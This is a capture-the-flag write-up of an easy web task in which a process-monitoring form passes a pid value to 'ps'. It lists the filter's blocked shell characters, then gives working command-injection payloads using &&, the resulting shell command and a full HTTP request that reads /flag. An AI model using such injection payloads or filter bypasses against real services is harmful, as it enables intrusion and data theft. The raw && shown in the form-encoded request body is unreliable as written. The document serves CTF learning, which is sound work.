P.S. (ping3)

Platform: spbctf | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2019-10-13 | Status: Solved Techniques: command_chaining_and, waf_bypass

Summary

Task: Process monitoring service passes user input to ps command. Solution: WAF allows && operator, use command chaining with PID 1 to read flag.

P.S. (ping3) — Web Kids 2.0

Description

A process monitoring service at https://2019-10-13-cmdinj.ctf.su/task/ps. Admins use it to monitor process activity by PID. Flag is in /flag.

Analysis

The process monitoring service executes the command ps u -p <user_input> where user_input is the value of the pid parameter from the POST request.

WAF rules:

• ; (semicolon) — blocked
• | (pipe) — blocked
• ` (backtick) — blocked
• $() — blocked
• # — blocked
• && — ALLOWED ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key vulnerability: the && operator is not filtered, which allows executing a chain of commands.

Solution

Using the && operator to execute a second command after the first one completes successfully.

Payload:

pid=1&&cat /flag

Resulting command on the server:

 bash read-only • copy allowed Copy
ps u -p 1&&cat /flag

How it works:

1. ps u -p 1 — shows information about the process with PID 1 (init/systemd)
2. PID 1 always exists on Linux systems, so the command completes successfully (exit code 0)
3. && — executes the next command only if the previous one succeeds
4. cat /flag — reads the contents of the flag file ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

HTTP request:

 http read-only • copy allowed Copy
POST /task/ps HTTP/1.1
Host: 2019-10-13-cmdinj.ctf.su
Content-Type: application/x-www-form-urlencoded

pid=1&&cat /flag

Alternative payloads (if PID 1 is unavailable):

pid=$$&&cat /flag      # $$ = current shell PID (if $ is not blocked)
pid=1&&cat</flag       # redirect instead of argument

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍